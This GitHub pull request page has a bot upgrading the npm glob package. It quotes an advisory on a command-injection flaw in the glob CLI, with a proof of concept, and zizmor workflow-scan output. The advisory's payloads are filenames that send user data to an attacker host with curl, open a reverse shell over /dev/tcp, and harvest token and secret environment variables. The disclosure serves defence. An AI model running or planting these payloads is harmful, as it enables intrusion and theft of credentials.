Skip to content

chore(deps): update dependency glob to v10.5.0 [security]#9

Open
renovate-sh-app[bot] wants to merge 1 commit intomainfrom
renovate/npm-glob-vulnerability
Open

chore(deps): update dependency glob to v10.5.0 [security]#9
renovate-sh-app[bot] wants to merge 1 commit intomainfrom
renovate/npm-glob-vulnerability

Conversation

@renovate-sh-app
Copy link
Copy Markdown

@renovate-sh-app renovate-sh-app bot commented Dec 2, 2025

This PR contains the following updates:

Package Change Age Confidence
glob 10.4.510.5.0 age confidence

glob CLI: Command injection via -c/--cmd executes matches with shell:true

CVE-2025-64756 / GHSA-5j98-mcp5-4vw2

More information

Details

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content
PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

##### Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

##### Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

##### Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

##### Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

##### Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable
Remediation
  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/node-glob (glob)

v10.5.0

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

Need help?

You can ask for more help in the following Slack channel: #proj-renovate-self-hosted. In that channel you can also find ADR and FAQ docs in the Resources section.

@github-advanced-security
Copy link
Copy Markdown

This pull request sets up GitHub code scanning for this repository. Once the scans have completed and the checks have passed, the analysis results for this pull request branch will appear on this overview. Once you merge this pull request, the 'Security' tab will show more code scanning analysis results (for example, for the default branch). Depending on your configuration and choice of analysis tool, future pull requests will be annotated with code scanning analysis results. For more information about GitHub code scanning, check out the documentation.

@github-actions

This comment has been minimized.

@renovate-sh-app renovate-sh-app bot changed the title chore(deps): update dependency glob to v10.5.0 [security] chore(deps): update dependency glob to v10.5.0 [security] - autoclosed Jan 16, 2026
@renovate-sh-app renovate-sh-app bot closed this Jan 16, 2026
@renovate-sh-app renovate-sh-app bot deleted the renovate/npm-glob-vulnerability branch January 16, 2026 05:24
@renovate-sh-app renovate-sh-app bot changed the title chore(deps): update dependency glob to v10.5.0 [security] - autoclosed chore(deps): update dependency glob to v10.5.0 [security] Jan 16, 2026
@renovate-sh-app renovate-sh-app bot reopened this Jan 16, 2026
@renovate-sh-app renovate-sh-app bot force-pushed the renovate/npm-glob-vulnerability branch 2 times, most recently from 88ab3bf to e807a0b Compare January 16, 2026 08:27
@github-actions

This comment has been minimized.

1 similar comment
@github-actions

This comment has been minimized.

@renovate-sh-app renovate-sh-app bot force-pushed the renovate/npm-glob-vulnerability branch from e807a0b to a852991 Compare February 3, 2026 20:23
@github-actions

This comment has been minimized.

@renovate-sh-app renovate-sh-app bot changed the title chore(deps): update dependency glob to v10.5.0 [security] chore(deps): update dependency glob to v10.5.0 [security] - autoclosed Feb 4, 2026
@renovate-sh-app renovate-sh-app bot closed this Feb 4, 2026
@renovate-sh-app renovate-sh-app bot changed the title chore(deps): update dependency glob to v10.5.0 [security] - autoclosed chore(deps): update dependency glob to v10.5.0 [security] Feb 4, 2026
@renovate-sh-app renovate-sh-app bot reopened this Feb 4, 2026
@renovate-sh-app renovate-sh-app bot force-pushed the renovate/npm-glob-vulnerability branch from a852991 to af0e4d1 Compare February 4, 2026 05:39
@github-actions

This comment has been minimized.

1 similar comment
@github-actions

This comment has been minimized.

@renovate-sh-app renovate-sh-app bot force-pushed the renovate/npm-glob-vulnerability branch from af0e4d1 to 4f5f40f Compare February 22, 2026 02:24
@github-actions

This comment has been minimized.

@renovate-sh-app renovate-sh-app bot force-pushed the renovate/npm-glob-vulnerability branch from 4f5f40f to bd00042 Compare February 22, 2026 14:24
@github-actions

This comment has been minimized.

@renovate-sh-app renovate-sh-app bot force-pushed the renovate/npm-glob-vulnerability branch from bd00042 to db12d43 Compare February 25, 2026 02:22
@github-actions

This comment has been minimized.

@renovate-sh-app renovate-sh-app bot force-pushed the renovate/npm-glob-vulnerability branch from db12d43 to 41003f5 Compare February 25, 2026 17:19
@github-actions

This comment has been minimized.

@renovate-sh-app renovate-sh-app bot force-pushed the renovate/npm-glob-vulnerability branch from 41003f5 to 1dc54a1 Compare February 26, 2026 20:13
@github-actions

This comment has been minimized.

@github-actions

This comment has been minimized.

| datasource | package | from   | to     |
| ---------- | ------- | ------ | ------ |
| npm        | glob    | 10.4.5 | 10.5.0 |


Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
@renovate-sh-app renovate-sh-app bot force-pushed the renovate/npm-glob-vulnerability branch from 0e61fea to 3742d90 Compare April 11, 2026 14:11
@github-actions
Copy link
Copy Markdown

😢 zizmor failed with exit code 14.

Expand for full output
error[template-injection]: code injection via template expansion
  --> ./.github/workflows/ci.yml:45:65
   |
44 |         run: |
   |         --- this run block
45 |           if [ "${{ github.event_name }}" == "push" ] && [ "${{ github.ref }}" == "refs/heads/main" ]; then
   |                                                                 ^^^^^^^^^^ may expand into attacker-controllable code
   |
   = note: audit confidence → High
   = note: this finding has an auto-fix
   = help: audit documentation → https://docs.zizmor.sh/audits/#template-injection

error[unpinned-uses]: unpinned action reference
  --> ./.github/workflows/ci.yml:67:15
   |
67 |         uses: magefile/mage-action@v3
   |               ^^^^^^^^^^^^^^^^^^^^^^^ action is not pinned to a hash (required by blanket policy)
   |
   = note: audit confidence → High
   = help: audit documentation → https://docs.zizmor.sh/audits/#unpinned-uses

error[unpinned-uses]: unpinned action reference
  --> ./.github/workflows/ci.yml:74:15
   |
74 |         uses: magefile/mage-action@v3
   |               ^^^^^^^^^^^^^^^^^^^^^^^ action is not pinned to a hash (required by blanket policy)
   |
   = note: audit confidence → High
   = help: audit documentation → https://docs.zizmor.sh/audits/#unpinned-uses

38 findings (13 ignored, 22 suppressed, 1 fixable): 0 informational, 0 low, 0 medium, 3 high

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant